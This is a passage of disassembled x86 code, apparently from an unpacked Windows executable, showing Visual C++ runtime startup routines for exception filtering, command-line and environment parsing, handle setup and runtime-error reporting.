loc_41CF52: ; CODE XREF: sub_41CEDB+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_41CF52
loc_41CF5B: ; CODE XREF: sub_41CEDB+69j
mov eax, [eax]
mov esi, dword_43AA6C
cmp eax, 0C000008Eh
jnz short loc_41CF76
mov dword_43AA6C, 83h
jmp short loc_41CFE6
; ---------------------------------------------------------------------------
loc_41CF76: ; CODE XREF: sub_41CEDB+8Dj
cmp eax, 0C0000090h
jnz short loc_41CF89
mov dword_43AA6C, 81h
jmp short loc_41CFE6
; ---------------------------------------------------------------------------
loc_41CF89: ; CODE XREF: sub_41CEDB+A0j
cmp eax, 0C0000091h
jnz short loc_41CF9C
mov dword_43AA6C, 84h
jmp short loc_41CFE6
; ---------------------------------------------------------------------------
loc_41CF9C: ; CODE XREF: sub_41CEDB+B3j
cmp eax, 0C0000093h
jnz short loc_41CFAF
mov dword_43AA6C, 85h
jmp short loc_41CFE6
; ---------------------------------------------------------------------------
loc_41CFAF: ; CODE XREF: sub_41CEDB+C6j
cmp eax, 0C000008Dh
jnz short loc_41CFC2
mov dword_43AA6C, 82h
jmp short loc_41CFE6
; ---------------------------------------------------------------------------
loc_41CFC2: ; CODE XREF: sub_41CEDB+D9j
cmp eax, 0C000008Fh
jnz short loc_41CFD5
mov dword_43AA6C, 86h
jmp short loc_41CFE6
; ---------------------------------------------------------------------------
loc_41CFD5: ; CODE XREF: sub_41CEDB+ECj
cmp eax, 0C0000092h
jnz short loc_41CFE6
mov dword_43AA6C, 8Ah
loc_41CFE6: ; CODE XREF: sub_41CEDB+99j
; sub_41CEDB+ACj ...
push dword_43AA6C
push 8
call ebx
pop ecx
mov dword_43AA6C, esi
pop ecx
pop esi
jmp short loc_41D003
; ---------------------------------------------------------------------------
loc_41CFFB: ; CODE XREF: sub_41CEDB+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_41D003: ; CODE XREF: sub_41CEDB+11Ej
mov eax, [ebp+arg_0]
mov dword_46BBB8, eax
loc_41D00B: ; CODE XREF: sub_41CEDB+34j
or eax, 0FFFFFFFFh
jmp short loc_41D019
; ---------------------------------------------------------------------------
loc_41D010: ; CODE XREF: sub_41CEDB+Fj
; sub_41CEDB+1Aj
push [ebp+arg_4]
call dword_4211A4 ; UnhandledExceptionFilter
loc_41D019: ; CODE XREF: sub_41CEDB+2Cj
; sub_41CEDB+133j
pop ebx
pop ebp
retn
sub_41CEDB endp
; =============== S U B R O U T I N E =======================================
sub_41D01C proc near ; CODE XREF: sub_41CEDB+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43AA68
cmp dword_43A9E8, edx
push esi
mov eax, offset dword_43A9E8
jz short loc_41D049
lea esi, [ecx+ecx*2]
lea esi, ds:43A9E8h[esi*4]
loc_41D03E: ; CODE XREF: sub_41D01C+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_41D049
cmp [eax], edx
jnz short loc_41D03E
loc_41D049: ; CODE XREF: sub_41D01C+16j
; sub_41D01C+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43A9E8h[ecx*4]
cmp eax, ecx
jnb short loc_41D05C
cmp [eax], edx
jz short locret_41D05E
loc_41D05C: ; CODE XREF: sub_41D01C+3Aj
xor eax, eax
locret_41D05E: ; CODE XREF: sub_41D01C+3Ej
retn
sub_41D01C endp
; =============== S U B R O U T I N E =======================================
sub_41D05F proc near ; CODE XREF: .text:00417BBDp
cmp dword_46D174, 0
jnz short loc_41D06D
call sub_41CC21
loc_41D06D: ; CODE XREF: sub_41D05F+7j
push esi
mov esi, dword_46D16C
mov al, [esi]
cmp al, 22h
jnz short loc_41D09F
loc_41D07A: ; CODE XREF: sub_41D05F+33j
; sub_41D05F+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_41D097
test al, al
jz short loc_41D097
movzx eax, al
push eax
call sub_41EF4C
test eax, eax
pop ecx
jz short loc_41D07A
inc esi
jmp short loc_41D07A
; ---------------------------------------------------------------------------
loc_41D097: ; CODE XREF: sub_41D05F+21j
; sub_41D05F+25j
cmp byte ptr [esi], 22h
jnz short loc_41D0A9
loc_41D09C: ; CODE XREF: sub_41D05F+52j
inc esi
jmp short loc_41D0A9
; ---------------------------------------------------------------------------
loc_41D09F: ; CODE XREF: sub_41D05F+19j
cmp al, 20h
jbe short loc_41D0A9
loc_41D0A3: ; CODE XREF: sub_41D05F+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_41D0A3
loc_41D0A9: ; CODE XREF: sub_41D05F+3Bj
; sub_41D05F+3Ej ...
mov al, [esi]
test al, al
jz short loc_41D0B3
cmp al, 20h
jbe short loc_41D09C
loc_41D0B3: ; CODE XREF: sub_41D05F+4Ej
mov eax, esi
pop esi
retn
sub_41D05F endp
; =============== S U B R O U T I N E =======================================
sub_41D0B7 proc near ; CODE XREF: .text:00417BA6p
push ebx
xor ebx, ebx
cmp dword_46D174, ebx
push esi
push edi
jnz short loc_41D0C9
call sub_41CC21
loc_41D0C9: ; CODE XREF: sub_41D0B7+Bj
mov esi, dword_46BB50
xor edi, edi
loc_41D0D1: ; CODE XREF: sub_41D0B7+30j
mov al, [esi]
cmp al, bl
jz short loc_41D0E9
cmp al, 3Dh
jz short loc_41D0DC
inc edi
loc_41D0DC: ; CODE XREF: sub_41D0B7+22j
push esi
call sub_415B10
pop ecx
lea esi, [esi+eax+1]
jmp short loc_41D0D1
; ---------------------------------------------------------------------------
loc_41D0E9: ; CODE XREF: sub_41D0B7+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_415BE9
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_46BB2C, esi
jnz short loc_41D10B
push 9
call sub_417C0E
pop ecx
loc_41D10B: ; CODE XREF: sub_41D0B7+4Aj
mov edi, dword_46BB50
cmp [edi], bl
jz short loc_41D14E
push ebp
loc_41D116: ; CODE XREF: sub_41D0B7+94j
push edi
call sub_415B10
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_41D147
push ebp
call sub_415BE9
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_41D13A
push 9
call sub_417C0E
pop ecx
loc_41D13A: ; CODE XREF: sub_41D0B7+79j
push edi
push dword ptr [esi]
call sub_415A20
pop ecx
add esi, 4
pop ecx
loc_41D147: ; CODE XREF: sub_41D0B7+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_41D116
pop ebp
loc_41D14E: ; CODE XREF: sub_41D0B7+5Cj
push dword_46BB50
call sub_415C9B
pop ecx
mov dword_46BB50, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_46D170, 1
pop ebx
retn
sub_41D0B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D170 proc near ; CODE XREF: .text:00417BA1p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_46D174, ebx
push esi
push edi
jnz short loc_41D187
call sub_41CC21
loc_41D187: ; CODE XREF: sub_41D170+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call dword_42107C ; GetModuleFileNameA
mov eax, dword_46D16C
mov off_46BB3C, esi
mov edi, esi
cmp [eax], bl
jz short loc_41D1AC
mov edi, eax
loc_41D1AC: ; CODE XREF: sub_41D170+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_41D209
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_415BE9
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_41D1DC
push 8
call sub_417C0E
pop ecx
loc_41D1DC: ; CODE XREF: sub_41D170+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_41D209
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_46BB24, esi
pop edi
pop esi
mov dword_46BB20, eax
pop ebx
leave
retn
sub_41D170 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D209 proc near ; CODE XREF: sub_41D170+47p
; sub_41D170+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_41D233
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41D233: ; CODE XREF: sub_41D209+20j
cmp byte ptr [eax], 22h
jnz short loc_41D27C
loc_41D238: ; CODE XREF: sub_41D209+58j
; sub_41D209+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_41D26A
test dl, dl
jz short loc_41D26A
movzx edx, dl
test byte_46D041[edx], 4
jz short loc_41D25D
inc dword ptr [ecx]
test esi, esi
jz short loc_41D25D
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_41D25D: ; CODE XREF: sub_41D209+46j
; sub_41D209+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_41D238
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41D238
; ---------------------------------------------------------------------------
loc_41D26A: ; CODE XREF: sub_41D209+36j
; sub_41D209+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_41D274
and byte ptr [esi], 0
inc esi
loc_41D274: ; CODE XREF: sub_41D209+65j
cmp byte ptr [eax], 22h
jnz short loc_41D2BF
inc eax
jmp short loc_41D2BF
; ---------------------------------------------------------------------------
loc_41D27C: ; CODE XREF: sub_41D209+2Dj
; sub_41D209+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41D287
mov dl, [eax]
mov [esi], dl
inc esi
loc_41D287: ; CODE XREF: sub_41D209+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_46D041[ebx], 4
jz short loc_41D2A2
inc dword ptr [ecx]
test esi, esi
jz short loc_41D2A1
mov bl, [eax]
mov [esi], bl
inc esi
loc_41D2A1: ; CODE XREF: sub_41D209+91j
inc eax
loc_41D2A2: ; CODE XREF: sub_41D209+8Bj
cmp dl, 20h
jz short loc_41D2B0
test dl, dl
jz short loc_41D2B4
cmp dl, 9
jnz short loc_41D27C
loc_41D2B0: ; CODE XREF: sub_41D209+9Cj
test dl, dl
jnz short loc_41D2B7
loc_41D2B4: ; CODE XREF: sub_41D209+A0j
dec eax
jmp short loc_41D2BF
; ---------------------------------------------------------------------------
loc_41D2B7: ; CODE XREF: sub_41D209+A9j
test esi, esi
jz short loc_41D2BF
and byte ptr [esi-1], 0
loc_41D2BF: ; CODE XREF: sub_41D209+6Ej
; sub_41D209+71j ...
and [ebp+arg_10], 0
loc_41D2C3: ; CODE XREF: sub_41D209+19Ej
cmp byte ptr [eax], 0
jz loc_41D3AC
loc_41D2CC: ; CODE XREF: sub_41D209+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41D2D8
cmp dl, 9
jnz short loc_41D2DB
loc_41D2D8: ; CODE XREF: sub_41D209+C8j
inc eax
jmp short loc_41D2CC
; ---------------------------------------------------------------------------
loc_41D2DB: ; CODE XREF: sub_41D209+CDj
cmp byte ptr [eax], 0
jz loc_41D3AC
test edi, edi
jz short loc_41D2F0
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41D2F0: ; CODE XREF: sub_41D209+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_41D2F5: ; CODE XREF: sub_41D209+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_41D2FE: ; CODE XREF: sub_41D209+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_41D307
inc eax
inc ebx
jmp short loc_41D2FE
; ---------------------------------------------------------------------------
loc_41D307: ; CODE XREF: sub_41D209+F8j
cmp byte ptr [eax], 22h
jnz short loc_41D338
test bl, 1
jnz short loc_41D336
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_41D325
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_41D325
mov eax, edx
jmp short loc_41D328
; ---------------------------------------------------------------------------
loc_41D325: ; CODE XREF: sub_41D209+10Dj
; sub_41D209+116j
mov [ebp+arg_0], edi
loc_41D328: ; CODE XREF: sub_41D209+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_41D336: ; CODE XREF: sub_41D209+106j
shr ebx, 1
loc_41D338: ; CODE XREF: sub_41D209+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_41D34D
inc ebx
loc_41D340: ; CODE XREF: sub_41D209+142j
test esi, esi
jz short loc_41D348
mov byte ptr [esi], 5Ch
inc esi
loc_41D348: ; CODE XREF: sub_41D209+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_41D340
loc_41D34D: ; CODE XREF: sub_41D209+134j
mov dl, [eax]
test dl, dl
jz short loc_41D39D
cmp [ebp+arg_10], 0
jnz short loc_41D363
cmp dl, 20h
jz short loc_41D39D
cmp dl, 9
jz short loc_41D39D
loc_41D363: ; CODE XREF: sub_41D209+14Ej
cmp [ebp+arg_0], 0
jz short loc_41D397
test esi, esi
jz short loc_41D386
movzx ebx, dl
test byte_46D041[ebx], 4
jz short loc_41D37F
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_41D37F: ; CODE XREF: sub_41D209+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41D395
; ---------------------------------------------------------------------------
loc_41D386: ; CODE XREF: sub_41D209+162j
movzx edx, dl
test byte_46D041[edx], 4
jz short loc_41D395
inc eax
inc dword ptr [ecx]
loc_41D395: ; CODE XREF: sub_41D209+17Bj
; sub_41D209+187j
inc dword ptr [ecx]
loc_41D397: ; CODE XREF: sub_41D209+15Ej
inc eax
jmp loc_41D2F5
; ---------------------------------------------------------------------------
loc_41D39D: ; CODE XREF: sub_41D209+148j
; sub_41D209+153j ...
test esi, esi
jz short loc_41D3A5
and byte ptr [esi], 0
inc esi
loc_41D3A5: ; CODE XREF: sub_41D209+196j
inc dword ptr [ecx]
jmp loc_41D2C3
; ---------------------------------------------------------------------------
loc_41D3AC: ; CODE XREF: sub_41D209+BDj
; sub_41D209+D5j
test edi, edi
jz short loc_41D3B3
and dword ptr [edi], 0
loc_41D3B3: ; CODE XREF: sub_41D209+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_41D209 endp
; =============== S U B R O U T I N E =======================================
sub_41D3BD proc near ; CODE XREF: .text:00417B97p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_46BCC0
push ebx
push ebp
mov ebp, dword_42103C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_41D40B
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_41D3EC
mov dword_46BCC0, 1
jmp short loc_41D414
; ---------------------------------------------------------------------------
loc_41D3EC: ; CODE XREF: sub_41D3BD+21j
call dword_421040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz loc_41D4E6
mov dword_46BCC0, 2
jmp loc_41D49A
; ---------------------------------------------------------------------------
loc_41D40B: ; CODE XREF: sub_41D3BD+19j
cmp eax, 1
jnz loc_41D495
loc_41D414: ; CODE XREF: sub_41D3BD+2Dj
cmp esi, ebx
jnz short loc_41D424
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_41D4E6
loc_41D424: ; CODE XREF: sub_41D3BD+59j
cmp [esi], bx
mov eax, esi
jz short loc_41D439
loc_41D42B: ; CODE XREF: sub_41D3BD+73j
; sub_41D3BD+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_41D42B
inc eax
inc eax
cmp [eax], bx
jnz short loc_41D42B
loc_41D439: ; CODE XREF: sub_41D3BD+6Cj
sub eax, esi
mov edi, dword_421138
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_41D48A
push ebp
call sub_415BE9
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_41D48A
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_41D486
push [esp+18h+var_8]
call sub_415C9B
pop ecx
mov [esp+18h+var_8], ebx
loc_41D486: ; CODE XREF: sub_41D3BD+B9j
mov ebx, [esp+18h+var_8]
loc_41D48A: ; CODE XREF: sub_41D3BD+99j
; sub_41D3BD+A8j
push esi
call dword_421044 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_41D4E8
; ---------------------------------------------------------------------------
loc_41D495: ; CODE XREF: sub_41D3BD+51j
cmp eax, 2
jnz short loc_41D4E6
loc_41D49A: ; CODE XREF: sub_41D3BD+49j
cmp edi, ebx
jnz short loc_41D4AA
call dword_421040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz short loc_41D4E6
loc_41D4AA: ; CODE XREF: sub_41D3BD+DFj
cmp [edi], bl
mov eax, edi
jz short loc_41D4BA
loc_41D4B0: ; CODE XREF: sub_41D3BD+F6j
; sub_41D3BD+FBj
inc eax
cmp [eax], bl
jnz short loc_41D4B0
inc eax
cmp [eax], bl
jnz short loc_41D4B0
loc_41D4BA: ; CODE XREF: sub_41D3BD+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_415BE9
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41D4D0
xor esi, esi
jmp short loc_41D4DB
; ---------------------------------------------------------------------------
loc_41D4D0: ; CODE XREF: sub_41D3BD+10Dj
push ebp
push edi
push esi
call sub_4153F0
add esp, 0Ch
loc_41D4DB: ; CODE XREF: sub_41D3BD+111j
push edi
call dword_4211A8 ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_41D4E8
; ---------------------------------------------------------------------------
loc_41D4E6: ; CODE XREF: sub_41D3BD+39j
; sub_41D3BD+61j ...
xor eax, eax
loc_41D4E8: ; CODE XREF: sub_41D3BD+D6j
; sub_41D3BD+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_41D3BD endp
; =============== S U B R O U T I N E =======================================
sub_41D4EF proc near ; CODE XREF: .text:00417B87p
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_415BE9
mov esi, eax
pop ecx
test esi, esi
jnz short loc_41D50F
push 1Bh
call sub_417C0E
pop ecx
loc_41D50F: ; CODE XREF: sub_41D4EF+16j
mov dword_46CE20, esi
mov dword_46CF20, 20h
lea eax, [esi+100h]
loc_41D525: ; CODE XREF: sub_41D4EF+52j
cmp esi, eax
jnb short loc_41D543
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_46CE20
add esi, 8
add eax, 100h
jmp short loc_41D525
; ---------------------------------------------------------------------------
loc_41D543: ; CODE XREF: sub_41D4EF+38j
lea eax, [esp+54h+var_44]
push eax
call dword_421164 ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_41D61F
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_41D61F
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_41D579
mov esi, eax
loc_41D579: ; CODE XREF: sub_41D4EF+86j
cmp dword_46CF20, esi
jge short loc_41D5D3
mov edi, offset dword_46CE24
loc_41D586: ; CODE XREF: sub_41D4EF+DAj
push 100h
call sub_415BE9
test eax, eax
pop ecx
jz short loc_41D5CD
add dword_46CF20, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_41D5A4: ; CODE XREF: sub_41D4EF+CFj
cmp eax, ecx
jnb short loc_41D5C0
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_41D5A4
; ---------------------------------------------------------------------------
loc_41D5C0: ; CODE XREF: sub_41D4EF+B7j
add edi, 4
cmp dword_46CF20, esi
jl short loc_41D586
jmp short loc_41D5D3
; ---------------------------------------------------------------------------
loc_41D5CD: ; CODE XREF: sub_41D4EF+A4j
mov esi, dword_46CF20
loc_41D5D3: ; CODE XREF: sub_41D4EF+90j
; sub_41D4EF+DCj
xor edi, edi
test esi, esi
jle short loc_41D61F
loc_41D5D9: ; CODE XREF: sub_41D4EF+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_41D616
mov cl, [ebp+0]
test cl, 1
jz short loc_41D616
test cl, 8
jnz short loc_41D5F8
push eax
call dword_421030 ; GetFileType
test eax, eax
jz short loc_41D616
loc_41D5F8: ; CODE XREF: sub_41D4EF+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_46CE20[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_41D616: ; CODE XREF: sub_41D4EF+EFj
; sub_41D4EF+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_41D5D9
loc_41D61F: ; CODE XREF: sub_41D4EF+65j
; sub_41D4EF+71j ...
xor ebx, ebx
loc_41D621: ; CODE XREF: sub_41D4EF+195j
mov eax, dword_46CE20
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_41D67C
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_41D63C
push 0FFFFFFF6h
pop eax
jmp short loc_41D646
; ---------------------------------------------------------------------------
loc_41D63C: ; CODE XREF: sub_41D4EF+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_41D646: ; CODE XREF: sub_41D4EF+14Bj
push eax
call dword_421034 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41D66B
push edi
call dword_421030 ; GetFileType
test eax, eax
jz short loc_41D66B
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_41D671
loc_41D66B: ; CODE XREF: sub_41D4EF+163j
; sub_41D4EF+16Ej
or byte ptr [esi+4], 40h
jmp short loc_41D680
; ---------------------------------------------------------------------------
loc_41D671: ; CODE XREF: sub_41D4EF+17Aj
cmp eax, 3
jnz short loc_41D680
or byte ptr [esi+4], 8
jmp short loc_41D680
; ---------------------------------------------------------------------------
loc_41D67C: ; CODE XREF: sub_41D4EF+13Ej
or byte ptr [esi+4], 80h
loc_41D680: ; CODE XREF: sub_41D4EF+180j
; sub_41D4EF+185j ...
inc ebx
cmp ebx, 3
jl short loc_41D621
push dword_46CF20
call dword_421038 ; SetHandleCount
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_41D4EF endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D6A4 proc near ; DATA XREF: .text:00417B22o
; sub_41AF25+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_41D744
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41D6D7: ; CODE XREF: sub_41D6A4+90j
cmp esi, 0FFFFFFFFh
jz short loc_41D73D
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_41D72B
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_41D72B
js short loc_41D736
mov edi, [ebx+8]
push ebx
call sub_416200
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_416242
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_4162D6
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_41D72B: ; CODE XREF: sub_41D6A4+40j
; sub_41D6A4+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41D6D7
; ---------------------------------------------------------------------------
loc_41D736: ; CODE XREF: sub_41D6A4+54j
mov eax, 0
jmp short loc_41D759
; ---------------------------------------------------------------------------
loc_41D73D: ; CODE XREF: sub_41D6A4+36j
mov eax, 1
jmp short loc_41D759
; ---------------------------------------------------------------------------
loc_41D744: ; CODE XREF: sub_41D6A4+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_416242
add esp, 8
pop ebp
mov eax, 1
loc_41D759: ; CODE XREF: sub_41D6A4+97j
; sub_41D6A4+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D6A4 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_416242
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41D77C proc near ; CODE XREF: sub_417C0E+9p
; sub_417C33+9p
mov eax, dword_46BB58
cmp eax, 1
jz short loc_41D793
test eax, eax
jnz short locret_41D7B4
cmp dword_4383E4, 1
jnz short locret_41D7B4
loc_41D793: ; CODE XREF: sub_41D77C+8j
push 0FCh
call sub_41D7B5
mov eax, dword_46BCC4
pop ecx
test eax, eax
jz short loc_41D7A9
call eax
loc_41D7A9: ; CODE XREF: sub_41D77C+29j
push 0FFh
call sub_41D7B5
pop ecx
locret_41D7B4: ; CODE XREF: sub_41D77C+Cj
; sub_41D77C+15j
retn
sub_41D77C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D7B5 proc near ; CODE XREF: sub_417C0E+12p
; sub_417C33+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43AA78
loc_41D7C8: ; CODE XREF: sub_41D7B5+20j
cmp edx, [eax]
jz short loc_41D7D7
add eax, 8
inc ecx
cmp eax, offset off_43AB08
jl short loc_41D7C8
loc_41D7D7: ; CODE XREF: sub_41D7B5+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43AA78[esi]
jnz loc_41D905
mov eax, dword_46BB58
cmp eax, 1
jz loc_41D8DF
test eax, eax
jnz short loc_41D808
cmp dword_4383E4, 1
jz loc_41D8DF
loc_41D808: ; CODE XREF: sub_41D7B5+44j
cmp edx, 0FCh
jz loc_41D905
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call dword_42107C ; GetModuleFileNameA
test eax, eax
jnz short loc_41D83F
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_415A20
pop ecx
pop ecx
loc_41D83F: ; CODE XREF: sub_41D7B5+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_415B10
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_41D882
lea eax, [ebp+var_1A4]
push eax
call sub_415B10
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_416BE0
add esp, 10h
loc_41D882: ; CODE XREF: sub_41D7B5+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_415A20
lea eax, [ebp+var_A0]
push edi
push eax
call sub_415A30
lea eax, [ebp+var_A0]
push offset asc_421B70 ; "\n\n"
push eax
call sub_415A30
push off_43AA7C[esi]
lea eax, [ebp+var_A0]
push eax
call sub_415A30
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_41EF8E
add esp, 2Ch
pop edi
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8DF: ; CODE XREF: sub_41D7B5+3Cj
; sub_41D7B5+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43AA7C[esi]
push 0
push eax
push dword ptr [esi]
call sub_415B10
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call dword_421034 ; GetStdHandle
push eax
call dword_421070 ; WriteFile
loc_41D905: ; CODE XREF: sub_41D7B5+2Ej
; sub_41D7B5+59j ...
pop esi
leave
retn
sub_41D7B5 endp
; =============== S U B R O U T I N E =======================================
sub_41D908 proc near ; CODE XREF: sub_417C57+6Cp
; sub_41C178+32p ...
